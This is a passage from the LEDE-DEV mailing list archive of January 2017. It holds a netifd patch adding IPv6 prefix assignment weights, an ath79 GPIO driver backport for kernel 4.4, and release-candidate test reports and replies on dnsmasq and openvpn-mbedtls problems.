-			struct device_prefix_assignment *n;
-			list_for_each_entry(n, &assign_later, head) {
-				if (n->length < c->length) {
-					next = &n->head;
-					break;
-				}
-			}
-			list_add_tail(&c->head, next);
+			entry = calloc(1, sizeof(*entry));
+			if (!entry)
+				continue;
+
+			entry->node.key = c;
+			avl_insert(&assign_later, &entry->node);
 		}
 
 		if (c->assigned != -1)
 			assigned_any = true;
 	}
 
-	// Then try to assign all other + failed custom assignments
-	while (!list_empty(&assign_later)) {
-		c = list_first_entry(&assign_later, struct device_prefix_assignment, head);
-		list_del(&c->head);
-
+	/* Then try to assign all other + failed custom assignments */
+	avl_for_each_element_safe(&assign_later, entry, node, n_entry) {
 		bool assigned = false;
+
+		c = (struct device_prefix_assignment *)entry->node.key;
+		avl_delete(&assign_later, &entry->node);
+
 		do {
 			assigned = interface_prefix_assign(&prefix->assignments, c);
 		} while (!assigned && ++c->length <= 64);
@@ -964,9 +986,10 @@ static void interface_update_prefix_assignments(struct device_prefix *prefix, bo
 			netifd_log_message(L_WARNING, "Failed to assign subprefix "
 					"of size %hhu for %s\n", c->length, c->name);
 			free(c);
-		} else {
+		} else
 			assigned_any = true;
-		}
+
+		free(entry);
 	}
 
 	list_for_each_entry(c, &prefix->assignments, head)
diff --git a/interface-ip.h b/interface-ip.h
index 01727c9..197bd9a 100644
--- a/interface-ip.h
+++ b/interface-ip.h
@@ -59,6 +59,7 @@ struct device_prefix_assignment {
 	struct list_head head;
 	int32_t assigned;
 	uint8_t length;
+	int weight;
 	struct in6_addr addr;
 	bool enabled;
 	char name[];
diff --git a/interface.c b/interface.c
index a014111..4399216 100644
--- a/interface.c
+++ b/interface.c
@@ -46,6 +46,7 @@ enum {
 	IFACE_ATTR_DELEGATE,
 	IFACE_ATTR_IP6IFACEID,
 	IFACE_ATTR_FORCE_LINK,
+	IFACE_ATTR_IP6WEIGHT,
 	IFACE_ATTR_MAX
 };
 
@@ -68,6 +69,7 @@ static const struct blobmsg_policy iface_attrs[IFACE_ATTR_MAX] = {
 	[IFACE_ATTR_DELEGATE] = { .name = "delegate", .type = BLOBMSG_TYPE_BOOL },
 	[IFACE_ATTR_IP6IFACEID] = { .name = "ip6ifaceid", .type = BLOBMSG_TYPE_STRING },
 	[IFACE_ATTR_FORCE_LINK] = { .name = "force_link", .type = BLOBMSG_TYPE_BOOL },
+	[IFACE_ATTR_IP6WEIGHT] = { .name = "ip6weight", .type = BLOBMSG_TYPE_INT32 },
 };
 
 const struct uci_blob_param_list interface_attr_list = {
@@ -497,6 +499,7 @@ interface_merge_assignment_data(struct interface *old, struct interface *new)
 	bool changed = (old->assignment_hint != new->assignment_hint ||
 			old->assignment_length != new->assignment_length ||
 			old->assignment_iface_id_selection != new->assignment_iface_id_selection ||
+			old->assignment_weight != new->assignment_weight ||
 			(old->assignment_iface_id_selection == IFID_FIXED &&
 			 memcmp(&old->assignment_fixed_iface_id, &new->assignment_fixed_iface_id,
 				sizeof(old->assignment_fixed_iface_id))) ||
@@ -534,6 +537,7 @@ interface_merge_assignment_data(struct interface *old, struct interface *new)
 		old->assignment_length = new->assignment_length;
 		old->assignment_iface_id_selection = new->assignment_iface_id_selection;
 		old->assignment_fixed_iface_id = new->assignment_fixed_iface_id;
+		old->assignment_weight = new->assignment_weight;
 		interface_refresh_assignments(true);
 	}
 }
@@ -842,6 +846,8 @@ interface_alloc(const char *name, struct blob_attr *config)
 	if ((cur = tb[IFACE_ATTR_IP6CLASS]))
 		interface_add_assignment_classes(iface, cur);
 
+	if ((cur = tb[IFACE_ATTR_IP6WEIGHT]))
+		iface->assignment_weight = blobmsg_get_u32(cur);;
 
 	if ((cur = tb[IFACE_ATTR_IP4TABLE])) {
 		if (!system_resolve_rt_table(blobmsg_data(cur), &iface->ip4table))
diff --git a/interface.h b/interface.h
index 7d5b309..1472324 100644
--- a/interface.h
+++ b/interface.h
@@ -155,6 +155,7 @@ struct interface {
 	uint8_t assignment_length;
 	int32_t assignment_hint;
 	struct list_head assignment_classes;
+	int assignment_weight;
 
 	/* errors/warnings while trying to bring up the interface */
 	struct list_head errors;
diff --git a/ubus.c b/ubus.c
index 0123b17..69fb251 100644
--- a/ubus.c
+++ b/ubus.c
@@ -701,6 +701,8 @@ netifd_dump_status(struct interface *iface)
 		blobmsg_add_u32(&b, "metric", iface->metric);
 		blobmsg_add_u32(&b, "dns_metric", iface->dns_metric);
 		blobmsg_add_u8(&b, "delegation", !iface->proto_ip.no_delegation);
+		if (iface->assignment_weight)
+			blobmsg_add_u32(&b, "ip6weight", iface->assignment_weight);
 		a = blobmsg_open_array(&b, "ipv4-address");
 		interface_ip_dump_address_list(&iface->config_ip, false, true);
 		interface_ip_dump_address_list(&iface->proto_ip, false, true);
-- 
1.9.1



From daniel at makrotopia.org  Tue Jan 31 08:20:13 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Tue, 31 Jan 2017 17:20:13 +0100
Subject: [LEDE-DEV] Release Candidate Test Plan - first draft
In-Reply-To: <2FE80CDC-E04B-4C28-A92F-BF5CC0DF8B10@gmail.com>
References: <2FE80CDC-E04B-4C28-A92F-BF5CC0DF8B10@gmail.com>
Message-ID: <20170131162012.GA1868@makrotopia.org>

Hi!

Tested the release candidate on octeon/erlite, most things work nicely
so far.

Upgrading from 15.05 was tricky though because octeon_board_name
is broken in 15.05 and i needed to manually fix it so sysupgrade would
work (octeon_board_name() returned 'cavium,octeon-3860' instead of
'erlite' on 15.05)
Imho we should make a note on each board which successfully booted the
release and make a note whether it was flashed using sysupgrade or
factory method and if any hacks or special work-arounds were needed,
ie stuff like the octeon_board_name problem mentioned above...


Package problems:

(I)

dnsmasq REFUSED queries no matter from which interface they came.
I replaced it with unbound and odhcpd which solved the problem.
16:31:38.423896 IP 192.168.225.237.56085 > 192.168.225.1.domain: 56063+ A? google.com. (28)
16:31:38.427000 IP 192.168.225.1.domain > 192.168.225.237.56085: 56063 Refused 0/0/0 (28)

The same configuration worked without any problem for almost a year
with more than 100 days uptime on 15.05.


(II)

openvpn-mbedtls didn't like my vpn server for some reason:
The certificate is signed with an unacceptable hash.

openvpn-openssl worked without any problems.



Should I file bugs for those openvpn-mbedtls and dnsmasq problems?
In case of openvpn-mbedtls I'm not sure whether it is a bug or a
feature...


Cheers


Daniel



On Mon, Jan 30, 2017 at 03:14:08PM -0500, Rich Brown wrote:
> Folks,
> 
> There have been a couple questions on the forum about what needs to be tested in the LEDE release candidate.
> 
> I put together a draft of a note that lists how to install, what to test, and how to report problems. It's at: https://lede-project.org/playground/releasecandidatetestplan
> 
> Comments, updates, etc. welcomed.
> 
> Rich
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From dgcbueu at gmail.com  Tue Jan 31 09:19:40 2017
From: dgcbueu at gmail.com (Daniel Gonzalez Cabanelas)
Date: Tue, 31 Jan 2017 18:19:40 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx: GPIO driver backport
Message-ID: <46449899.Df8CWF06sN@tool>

Backport the ath79 GPIO driver to kernel 4.4.

Benefits this driver has compared with the old one:
- support for the interrupt controller
- module removable

The new code using the generic MMIO GPIO driver starts in 
kernel 4.6, therefore this patch won't be useful anymore 
when this version is adopted. The intention is to integrate 
the patch into the stable release 17.01

Patch tested in an AR7240 based board.

Signed-off-by: Daniel Gonzalez Cabanelas <dgcbueu at gmail.com>
diff --git a/target/linux/ar71xx/config-4.4 b/target/linux/ar71xx/config-4.4
index 4b2f736..d3ecf4d 100644
--- a/target/linux/ar71xx/config-4.4
+++ b/target/linux/ar71xx/config-4.4
@@ -267,6 +267,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y
 CONFIG_GENERIC_TIME_VSYSCALL=y
 CONFIG_GPIOLIB=y
 CONFIG_GPIOLIB_IRQCHIP=y
+CONFIG_GPIO_ATH79=y
 CONFIG_GPIO_DEVRES=y
 # CONFIG_GPIO_LATCH is not set
 CONFIG_GPIO_NXP_74HC153=y
diff --git a/target/linux/ar71xx/patches-4.4/455-gpio-ath79-driver_backport-irqchip.patch b/target/linux/ar71xx/patches-4.4/455-gpio-ath79-driver_backport-irqchip.patch
new file mode 100644
index 0000000..e0f8622
--- /dev/null
+++ b/target/linux/ar71xx/patches-4.4/455-gpio-ath79-driver_backport-irqchip.patch
@@ -0,0 +1,469 @@
+--- a/drivers/gpio/gpio-ath79.c
++++ b/drivers/gpio/gpio-ath79.c
+@@ -1,145 +1,237 @@
+ /*
+  *  Atheros AR71XX/AR724X/AR913X GPIO API support
+  *
++ *  Copyright (C) 2015 Alban Bedel <albeu at free.fr>
+  *  Copyright (C) 2010-2011 Jaiganesh Narayanan <jnarayanan at atheros.com>
+  *  Copyright (C) 2008-2011 Gabor Juhos <juhosg at openwrt.org>
+  *  Copyright (C) 2008 Imre Kaloz <kaloz at openwrt.org>
+  *
+- *  Parts of this file are based on Atheros' 2.6.15/2.6.31 BSP
+- *
+  *  This program is free software; you can redistribute it and/or modify it
+  *  under the terms of the GNU General Public License version 2 as published
+  *  by the Free Software Foundation.
+  */
+ 
+ #include <linux/gpio/driver.h>
++#include <linux/basic_mmio_gpio.h>
+ #include <linux/platform_data/gpio-ath79.h>
+ #include <linux/of_device.h>
++#include <linux/interrupt.h>
++#include <linux/module.h>
++#include <linux/irq.h>
+ 
+-#include <asm/mach-ath79/ar71xx_regs.h>
++#define AR71XX_GPIO_REG_OE		0x00
++#define AR71XX_GPIO_REG_IN		0x04
++#define AR71XX_GPIO_REG_SET		0x0c
++#define AR71XX_GPIO_REG_CLEAR		0x10
++
++#define AR71XX_GPIO_REG_INT_ENABLE	0x14
++#define AR71XX_GPIO_REG_INT_TYPE	0x18
++#define AR71XX_GPIO_REG_INT_POLARITY	0x1c
++#define AR71XX_GPIO_REG_INT_PENDING	0x20
++#define AR71XX_GPIO_REG_INT_MASK	0x24
+ 
+ struct ath79_gpio_ctrl {
+-	struct gpio_chip chip;
++	struct bgpio_chip bgc;
+ 	void __iomem *base;
+ 	spinlock_t lock;
++	unsigned long both_edges;
+ };
+ 
+-#define to_ath79_gpio_ctrl(c) container_of(c, struct ath79_gpio_ctrl, chip)
+ 
+-static void ath79_gpio_set_value(struct gpio_chip *chip,
+-				unsigned gpio, int value)
++static inline struct ath79_gpio_ctrl *to_ath79_gpio_ctrl(struct gpio_chip *gc)
+ {
+-	struct ath79_gpio_ctrl *ctrl = to_ath79_gpio_ctrl(chip);
++	struct bgpio_chip *bgc = to_bgpio_chip(gc);
+ 
+-	if (value)
+-		__raw_writel(BIT(gpio), ctrl->base + AR71XX_GPIO_REG_SET);
+-	else
+-		__raw_writel(BIT(gpio), ctrl->base + AR71XX_GPIO_REG_CLEAR);
++	return container_of(bgc, struct ath79_gpio_ctrl, bgc);
+ }
+ 
+-static int ath79_gpio_get_value(struct gpio_chip *chip, unsigned gpio)
++static struct ath79_gpio_ctrl *irq_data_to_ath79_gpio(struct irq_data *data)
+ {
+-	struct ath79_gpio_ctrl *ctrl = to_ath79_gpio_ctrl(chip);
++	struct gpio_chip *gc = irq_data_get_irq_chip_data(data);
++	return to_ath79_gpio_ctrl(gc);
++}
+ 
+-	return (__raw_readl(ctrl->base + AR71XX_GPIO_REG_IN) >> gpio) & 1;
++static u32 ath79_gpio_read(struct ath79_gpio_ctrl *ctrl, unsigned reg)
++{
++	return readl(ctrl->base + reg);
+ }
+ 
+-static int ath79_gpio_direction_input(struct gpio_chip *chip,
+-				       unsigned offset)
++static void ath79_gpio_write(struct ath79_gpio_ctrl *ctrl,
++			unsigned reg, u32 val)
+ {
+-	struct ath79_gpio_ctrl *ctrl = to_ath79_gpio_ctrl(chip);
+-	unsigned long flags;
++	return writel(val, ctrl->base + reg);
++}
+ 
+-	spin_lock_irqsave(&ctrl->lock, flags);
++static bool ath79_gpio_update_bits(
++	struct ath79_gpio_ctrl *ctrl, unsigned reg, u32 mask, u32 bits)
++{
++	u32 old_val, new_val;
+ 
+-	__raw_writel(
+-		__raw_readl(ctrl->base + AR71XX_GPIO_REG_OE) & ~BIT(offset),
+-		ctrl->base + AR71XX_GPIO_REG_OE);
++	old_val = ath79_gpio_read(ctrl, reg);
++	new_val = (old_val & ~mask) | (bits & mask);
+ 
+-	spin_unlock_irqrestore(&ctrl->lock, flags);
++	if (new_val != old_val)
++		ath79_gpio_write(ctrl, reg, new_val);
+ 
+-	return 0;
++	return new_val != old_val;
+ }
+ 
+-static int ath79_gpio_direction_output(struct gpio_chip *chip,
+-					unsigned offset, int value)
++static void ath79_gpio_irq_unmask(struct irq_data *data)
+ {
+-	struct ath79_gpio_ctrl *ctrl = to_ath79_gpio_ctrl(chip);
++	struct ath79_gpio_ctrl *ctrl = irq_data_to_ath79_gpio(data);
++	u32 mask = BIT(irqd_to_hwirq(data));
+ 	unsigned long flags;
+ 
+ 	spin_lock_irqsave(&ctrl->lock, flags);
++	ath79_gpio_update_bits(ctrl, AR71XX_GPIO_REG_INT_MASK, mask, mask);
++	spin_unlock_irqrestore(&ctrl->lock, flags);
++}
+ 
+-	if (value)
+-		__raw_writel(BIT(offset), ctrl->base + AR71XX_GPIO_REG_SET);
+-	else
+-		__raw_writel(BIT(offset), ctrl->base + AR71XX_GPIO_REG_CLEAR);
+-
+-	__raw_writel(
+-		__raw_readl(ctrl->base + AR71XX_GPIO_REG_OE) | BIT(offset),
+-		ctrl->base + AR71XX_GPIO_REG_OE);
++static void ath79_gpio_irq_mask(struct irq_data *data)
++{
++	struct ath79_gpio_ctrl *ctrl = irq_data_to_ath79_gpio(data);
++	u32 mask = BIT(irqd_to_hwirq(data));
++	unsigned long flags;
+ 
++	spin_lock_irqsave(&ctrl->lock, flags);
++	ath79_gpio_update_bits(ctrl, AR71XX_GPIO_REG_INT_MASK, mask, 0);
+ 	spin_unlock_irqrestore(&ctrl->lock, flags);
+-
+-	return 0;
+ }
+ 
+-static int ar934x_gpio_direction_input(struct gpio_chip *chip, unsigned offset)
++static void ath79_gpio_irq_enable(struct irq_data *data)
+ {
+-	struct ath79_gpio_ctrl *ctrl = to_ath79_gpio_ctrl(chip);
++	struct ath79_gpio_ctrl *ctrl = irq_data_to_ath79_gpio(data);
++	u32 mask = BIT(irqd_to_hwirq(data));
+ 	unsigned long flags;
+ 
+ 	spin_lock_irqsave(&ctrl->lock, flags);
++	ath79_gpio_update_bits(ctrl, AR71XX_GPIO_REG_INT_ENABLE, mask, mask);
++	ath79_gpio_update_bits(ctrl, AR71XX_GPIO_REG_INT_MASK, mask, mask);
++	spin_unlock_irqrestore(&ctrl->lock, flags);
++}
+ 
+-	__raw_writel(
+-		__raw_readl(ctrl->base + AR71XX_GPIO_REG_OE) | BIT(offset),
+-		ctrl->base + AR71XX_GPIO_REG_OE);
++static void ath79_gpio_irq_disable(struct irq_data *data)
++{
++	struct ath79_gpio_ctrl *ctrl = irq_data_to_ath79_gpio(data);
++	u32 mask = BIT(irqd_to_hwirq(data));
++	unsigned long flags;
+ 
++	spin_lock_irqsave(&ctrl->lock, flags);
++	ath79_gpio_update_bits(ctrl, AR71XX_GPIO_REG_INT_MASK, mask, 0);
++	ath79_gpio_update_bits(ctrl, AR71XX_GPIO_REG_INT_ENABLE, mask, 0);
+ 	spin_unlock_irqrestore(&ctrl->lock, flags);
+-
+-	return 0;
+ }
+ 
+-static int ar934x_gpio_direction_output(struct gpio_chip *chip, unsigned offset,
+-					int value)
++static int ath79_gpio_irq_set_type(struct irq_data *data,
++				unsigned int flow_type)
+ {
+-	struct ath79_gpio_ctrl *ctrl = to_ath79_gpio_ctrl(chip);
++	struct ath79_gpio_ctrl *ctrl = irq_data_to_ath79_gpio(data);
++	u32 mask = BIT(irqd_to_hwirq(data));
++	u32 type = 0, polarity = 0;
+ 	unsigned long flags;
++	bool disabled;
++
++	switch (flow_type) {
++	case IRQ_TYPE_EDGE_RISING:
++		polarity |= mask;
++	case IRQ_TYPE_EDGE_FALLING:
++	case IRQ_TYPE_EDGE_BOTH:
++		break;
++
++	case IRQ_TYPE_LEVEL_HIGH:
++		polarity |= mask;
++	case IRQ_TYPE_LEVEL_LOW:
++		type |= mask;
++		break;
++
++	default:
++		return -EINVAL;
++	}
+ 
+ 	spin_lock_irqsave(&ctrl->lock, flags);
+ 
+-	if (value)
+-		__raw_writel(BIT(offset), ctrl->base + AR71XX_GPIO_REG_SET);
+-	else
+-		__raw_writel(BIT(offset), ctrl->base + AR71XX_GPIO_REG_CLEAR);
++	if (flow_type == IRQ_TYPE_EDGE_BOTH) {
++		ctrl->both_edges |= mask;
++		polarity = ~ath79_gpio_read(ctrl, AR71XX_GPIO_REG_IN);
++	} else {
++		ctrl->both_edges &= ~mask;
++	}
+ 
+-	__raw_writel(
+-		__raw_readl(ctrl->base + AR71XX_GPIO_REG_OE) & ~BIT(offset),
+-		ctrl->base + AR71XX_GPIO_REG_OE);
++	/* As the IRQ configuration can't be loaded atomically we
++	 * have to disable the interrupt while the configuration state
++	 * is invalid.
++	 */
++	disabled = ath79_gpio_update_bits(
++		ctrl, AR71XX_GPIO_REG_INT_ENABLE, mask, 0);
++
++	ath79_gpio_update_bits(
++		ctrl, AR71XX_GPIO_REG_INT_TYPE, mask, type);
++	ath79_gpio_update_bits(
++		ctrl, AR71XX_GPIO_REG_INT_POLARITY, mask, polarity);
++
++	if (disabled)
++		ath79_gpio_update_bits(
++			ctrl, AR71XX_GPIO_REG_INT_ENABLE, mask, mask);
+ 
+ 	spin_unlock_irqrestore(&ctrl->lock, flags);
+ 
+ 	return 0;
+ }
+ 
+-static const struct gpio_chip ath79_gpio_chip = {
+-	.label			= "ath79",
+-	.get			= ath79_gpio_get_value,
+-	.set			= ath79_gpio_set_value,
+-	.direction_input	= ath79_gpio_direction_input,
+-	.direction_output	= ath79_gpio_direction_output,
+-	.base			= 0,
++static struct irq_chip ath79_gpio_irqchip = {
++	.name = "gpio-ath79",
++	.irq_enable = ath79_gpio_irq_enable,
++	.irq_disable = ath79_gpio_irq_disable,
++	.irq_mask = ath79_gpio_irq_mask,
++	.irq_unmask = ath79_gpio_irq_unmask,
++	.irq_set_type = ath79_gpio_irq_set_type,
+ };
+ 
++static void ath79_gpio_irq_handler(struct irq_desc *desc)
++{
++	struct gpio_chip *gc = irq_desc_get_handler_data(desc);
++	struct irq_chip *irqchip = irq_desc_get_chip(desc);
++	struct ath79_gpio_ctrl *ctrl = to_ath79_gpio_ctrl(gc);
++	unsigned long flags, pending;
++	u32 both_edges, state;
++	int irq;
++
++	chained_irq_enter(irqchip, desc);
++
++	spin_lock_irqsave(&ctrl->lock, flags);
++
++	pending = ath79_gpio_read(ctrl, AR71XX_GPIO_REG_INT_PENDING);
++
++	/* Update the polarity of the both edges irqs */
++	both_edges = ctrl->both_edges & pending;
++	if (both_edges) {
++		state = ath79_gpio_read(ctrl, AR71XX_GPIO_REG_IN);
++		ath79_gpio_update_bits(ctrl, AR71XX_GPIO_REG_INT_POLARITY,
++				both_edges, ~state);
++	}
++
++	spin_unlock_irqrestore(&ctrl->lock, flags);
++
++	if (pending) {
++		for_each_set_bit(irq, &pending, gc->ngpio)
++			generic_handle_irq(
++				irq_linear_revmap(gc->irqdomain, irq));
++	}
++
++	chained_irq_exit(irqchip, desc);
++}
++
+ static const struct of_device_id ath79_gpio_of_match[] = {
+ 	{ .compatible = "qca,ar7100-gpio" },
+ 	{ .compatible = "qca,ar9340-gpio" },
+ 	{},
+ };
++MODULE_DEVICE_TABLE(of, ath79_gpio_of_match);
+ 
+ static int ath79_gpio_probe(struct platform_device *pdev)
+ {
+-	struct ath79_gpio_platform_data *pdata = pdev->dev.platform_data;
++	struct ath79_gpio_platform_data *pdata = dev_get_platdata(&pdev->dev);
+ 	struct device_node *np = pdev->dev.of_node;
+ 	struct ath79_gpio_ctrl *ctrl;
+ 	struct resource *res;
+ 	u32 ath79_gpio_count;
+@@ -148,19 +240,16 @@
+ 
+ 	ctrl = devm_kzalloc(&pdev->dev, sizeof(*ctrl), GFP_KERNEL);
+ 	if (!ctrl)
+ 		return -ENOMEM;
++	platform_set_drvdata(pdev, ctrl);
+ 
+ 	if (np) {
+ 		err = of_property_read_u32(np, "ngpios", &ath79_gpio_count);
+ 		if (err) {
+ 			dev_err(&pdev->dev, "ngpios property is not valid\n");
+ 			return err;
+ 		}
+-		if (ath79_gpio_count >= 32) {
+-			dev_err(&pdev->dev, "ngpios must be less than 32\n");
+-			return -EINVAL;
+-		}
+ 		oe_inverted = of_device_is_compatible(np, "qca,ar9340-gpio");
+ 	} else if (pdata) {
+ 		ath79_gpio_count = pdata->ngpios;
+ 		oe_inverted = pdata->oe_inverted;
+@@ -168,30 +257,68 @@
+ 		dev_err(&pdev->dev, "No DT node or platform data found\n");
+ 		return -EINVAL;
+ 	}
+ 
++	if (ath79_gpio_count >= 32) {
++		dev_err(&pdev->dev, "ngpios must be less than 32\n");
++		return -EINVAL;
++	}
++
+ 	res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
+ 	ctrl->base = devm_ioremap_nocache(
+ 		&pdev->dev, res->start, resource_size(res));
+ 	if (!ctrl->base)
+ 		return -ENOMEM;
+ 
+ 	spin_lock_init(&ctrl->lock);
+-	memcpy(&ctrl->chip, &ath79_gpio_chip, sizeof(ctrl->chip));
+-	ctrl->chip.dev = &pdev->dev;
+-	ctrl->chip.ngpio = ath79_gpio_count;
+-	if (oe_inverted) {
+-		ctrl->chip.direction_input = ar934x_gpio_direction_input;
+-		ctrl->chip.direction_output = ar934x_gpio_direction_output;
++	err = bgpio_init(&ctrl->bgc, &pdev->dev, 4,
++			ctrl->base + AR71XX_GPIO_REG_IN,
++			ctrl->base + AR71XX_GPIO_REG_SET,
++			ctrl->base + AR71XX_GPIO_REG_CLEAR,
++			oe_inverted ? NULL : ctrl->base + AR71XX_GPIO_REG_OE,
++			oe_inverted ? ctrl->base + AR71XX_GPIO_REG_OE : NULL,
++			0);
++	if (err) {
++		dev_err(&pdev->dev, "bgpio_init failed\n");
++		return err;
+ 	}
++	/* Use base 0 to stay compatible with legacy platforms */
++	ctrl->bgc.gc.base = 0;
++	ctrl->bgc.gc.ngpio = ath79_gpio_count;
+ 
+-	err = gpiochip_add(&ctrl->chip);
++	err = gpiochip_add(&ctrl->bgc.gc);
+ 	if (err) {
+ 		dev_err(&pdev->dev,
+ 			"cannot add AR71xx GPIO chip, error=%d", err);
+ 		return err;
+ 	}
+ 
++	if (np && !of_property_read_bool(np, "interrupt-controller"))
++		return 0;
++
++	err = gpiochip_irqchip_add(&ctrl->bgc.gc, &ath79_gpio_irqchip, 0,
++				handle_simple_irq, IRQ_TYPE_NONE);
++	if (err) {
++		dev_err(&pdev->dev, "failed to add gpiochip_irqchip\n");
++		goto gpiochip_remove;
++	}
++
++	gpiochip_set_chained_irqchip(&ctrl->bgc.gc, &ath79_gpio_irqchip,
++				platform_get_irq(pdev, 0),
++				ath79_gpio_irq_handler);
++
++	return 0;
++
++gpiochip_remove:
++	gpiochip_remove(&ctrl->bgc.gc);
++	return err;
++}
++
++static int ath79_gpio_remove(struct platform_device *pdev)
++{
++	struct ath79_gpio_ctrl *ctrl = platform_get_drvdata(pdev);
++
++	gpiochip_remove(&ctrl->bgc.gc);
+ 	return 0;
+ }
+ 
+ static struct platform_driver ath79_gpio_driver = {
+@@ -199,8 +326,9 @@
+ 		.name = "ath79-gpio",
+ 		.of_match_table	= ath79_gpio_of_match,
+ 	},
+ 	.probe = ath79_gpio_probe,
++	.remove = ath79_gpio_remove,
+ };
+ 
+ static int __init ath79_gpio_init(void)
+ {
+--- a/arch/mips/include/asm/mach-ath79/irq.h
++++ b/arch/mips/include/asm/mach-ath79/irq.h
+@@ -7,13 +7,13 @@
+  *  by the Free Software Foundation.
+  */
+ #ifndef __ASM_MACH_ATH79_IRQ_H
+ #define __ASM_MACH_ATH79_IRQ_H
+ 
+ #define MIPS_CPU_IRQ_BASE	0
+-#define NR_IRQS			51
++#define NR_IRQS			83
+ 
+ #define ATH79_CPU_IRQ(_x)	(MIPS_CPU_IRQ_BASE + (_x))
+ 
+ #define ATH79_MISC_IRQ_BASE	8
+ #define ATH79_MISC_IRQ_COUNT	32
+ #define ATH79_MISC_IRQ(_x)	(ATH79_MISC_IRQ_BASE + (_x))
+--- a/drivers/gpio/Kconfig
++++ b/drivers/gpio/Kconfig
+@@ -124,12 +124,22 @@
+ 	tristate "AMD Promontory GPIO support"
+ 	depends on ACPI
+ 	help
+ 	  driver for GPIO functionality on Promontory IOHub
+ 	  Require ACPI ASL code to enumerate as a platform device.
+ 
++config GPIO_ATH79
++	tristate "Atheros AR71XX/AR724X/AR913X GPIO support"
++	default y if ATH79
++	depends on ATH79 || COMPILE_TEST
++	select GPIO_GENERIC
++	select GPIOLIB_IRQCHIP
++	help
++	  Select this option to enable GPIO driver for
++	  Atheros AR71XX/AR724X/AR913X SoC devices.
++
+ config GPIO_BCM_KONA
+ 	bool "Broadcom Kona GPIO"
+ 	depends on OF_GPIO && (ARCH_BCM_MOBILE || COMPILE_TEST)
+ 	help
+ 	  Turn on GPIO support for Broadcom "Kona" chips.
+ 
+--- a/drivers/gpio/Makefile
++++ b/drivers/gpio/Makefile
+@@ -19,13 +19,13 @@
+ obj-$(CONFIG_GPIO_ADP5520)	+= gpio-adp5520.o
+ obj-$(CONFIG_GPIO_ADP5588)	+= gpio-adp5588.o
+ obj-$(CONFIG_GPIO_ALTERA)  	+= gpio-altera.o
+ obj-$(CONFIG_GPIO_AMD8111)	+= gpio-amd8111.o
+ obj-$(CONFIG_GPIO_AMDPT)	+= gpio-amdpt.o
+ obj-$(CONFIG_GPIO_ARIZONA)	+= gpio-arizona.o
+-obj-$(CONFIG_ATH79)		+= gpio-ath79.o
++obj-$(CONFIG_GPIO_ATH79)	+= gpio-ath79.o
+ obj-$(CONFIG_GPIO_BCM_KONA)	+= gpio-bcm-kona.o
+ obj-$(CONFIG_GPIO_BRCMSTB)	+= gpio-brcmstb.o
+ obj-$(CONFIG_GPIO_BT8XX)	+= gpio-bt8xx.o
+ obj-$(CONFIG_GPIO_CLPS711X)	+= gpio-clps711x.o
+ obj-$(CONFIG_GPIO_CS5535)	+= gpio-cs5535.o
+ obj-$(CONFIG_GPIO_CRYSTAL_COVE)	+= gpio-crystalcove.o



From nbd at nbd.name  Tue Jan 31 10:34:49 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Tue, 31 Jan 2017 19:34:49 +0100
Subject: [LEDE-DEV] [OpenWrt-Devel] Bounty: simplify
 extracting/restoring kernel .config
In-Reply-To: <e6725398-dd9c-137c-96c5-143b106ab171@gmail.com>
References: <98334305-282E-440C-859C-D202CCB550F8@redfish-solutions.com>
 <7ba5bedb-309b-9a70-42d1-0e8f2028784e@nbd.name>
 <28b3c340-c1ca-93aa-7309-53216cf805a0@gmail.com>
 <fb913963-79d1-da2c-b13f-fdc2bdebcfcf@nbd.name>
 <e6725398-dd9c-137c-96c5-143b106ab171@gmail.com>
Message-ID: <2da810ae-030f-95d6-65b6-46ddbe41038d@nbd.name>

On 2017-01-31 16:21, Zoltan Gyarmati wrote:
> Adding an i2c RTC to the RT5350F-OLinuXino board.
>  It's already requires patching the dts file to enable the i2c port, but
> that change i want to sent to upstream (as that is generally useful),
> while adding my type of RTC chip to the device tree is specific to my
> config, so i would like to keep it separated. The obvious solution is
> to  to maintain my customization patches on the top of the upstream, but
> if it's possible i want to avoid that, for which it would be perfect to
> keep it in an 'env'.
> Thx,
In the future this will be handled at runtime via device tree overlays.

- Felix


From baptiste at bitsofnetworks.org  Tue Jan 31 12:30:40 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Tue, 31 Jan 2017 21:30:40 +0100
Subject: [LEDE-DEV] Release Candidate Test Plan - first draft
In-Reply-To: <20170131162012.GA1868@makrotopia.org>
References: <2FE80CDC-E04B-4C28-A92F-BF5CC0DF8B10@gmail.com>
 <20170131162012.GA1868@makrotopia.org>
Message-ID: <20170131203040.GC7103@tuxmachine.polynome.dn42>

On Tue, Jan 31, 2017 at 05:20:13PM +0100, Daniel Golle wrote:
> openvpn-mbedtls didn't like my vpn server for some reason:
> The certificate is signed with an unacceptable hash.
> 
> openvpn-openssl worked without any problems.

This looks similar to this bug report:

  https://bugs.lede-project.org/index.php?do=details&task_id=405

Maybe your VPN server use an old hash algorithm (MD5, SHA1)?

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170131/f3f9d3f3/attachment.sig>

From mr.zoltan.gyarmati at gmail.com  Tue Jan 31 13:17:50 2017
From: mr.zoltan.gyarmati at gmail.com (Zoltan Gyarmati)
Date: Tue, 31 Jan 2017 22:17:50 +0100
Subject: [LEDE-DEV] [OpenWrt-Devel] Bounty: simplify
 extracting/restoring kernel .config
In-Reply-To: <2da810ae-030f-95d6-65b6-46ddbe41038d@nbd.name>
References: <98334305-282E-440C-859C-D202CCB550F8@redfish-solutions.com>
 <7ba5bedb-309b-9a70-42d1-0e8f2028784e@nbd.name>
 <28b3c340-c1ca-93aa-7309-53216cf805a0@gmail.com>
 <fb913963-79d1-da2c-b13f-fdc2bdebcfcf@nbd.name>
 <e6725398-dd9c-137c-96c5-143b106ab171@gmail.com>
 <2da810ae-030f-95d6-65b6-46ddbe41038d@nbd.name>
Message-ID: <152501e5-176b-3659-3eb3-a1bb37425fc4@gmail.com>

On 01/31/2017 07:34 PM, Felix Fietkau wrote:

> On 2017-01-31 16:21, Zoltan Gyarmati wrote:
>> Adding an i2c RTC to the RT5350F-OLinuXino board.
>>  It's already requires patching the dts file to enable the i2c port, but
>> that change i want to sent to upstream (as that is generally useful),
